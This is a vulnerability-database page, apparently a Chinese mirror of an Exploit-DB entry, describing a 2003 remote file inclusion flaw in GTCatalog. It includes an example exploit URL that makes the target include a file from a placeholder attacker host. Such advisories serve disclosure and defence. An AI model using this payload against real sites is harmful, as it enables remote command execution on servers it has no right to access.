GTCatalog 0.8.16/0.9 – Remote File Inclusion

GTCatalog 0.8.16/0.9 – Remote File Inclusion

漏洞ID 1053738 漏洞类型
发布时间 2003-03-03 更新时间 2003-03-03
图片[1]-GTCatalog 0.8.16/0.9 – Remote File Inclusion-安全小百科CVE编号 N/A
图片[2]-GTCatalog 0.8.16/0.9 – Remote File Inclusion-安全小百科CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/22317
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/6998/info

GTCatalog is prone to an issue that may allow remote attackers to include files located on attacker-controlled servers.

This vulnerability is as a result of insufficient sanitization performed on remote user supplied data.

Under some circumstances, it is possible for remote attackers to manipulate URI parameters to include external files on remote servers. If the remote file is a malicious file, this may be exploited to execute arbitrary system commands in the context of the web server. 

http://www.target.com/index.php?function=custom&custom=http://www.attacker.com/1.custom.inc

相关推荐: LICQ Hostile URL Command Execution Vulnerability

LICQ Hostile URL Command Execution Vulnerability 漏洞ID 1103428 漏洞类型 Input Validation Error 发布时间 2001-02-14 更新时间 2001-02-14 CVE编号 N/…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享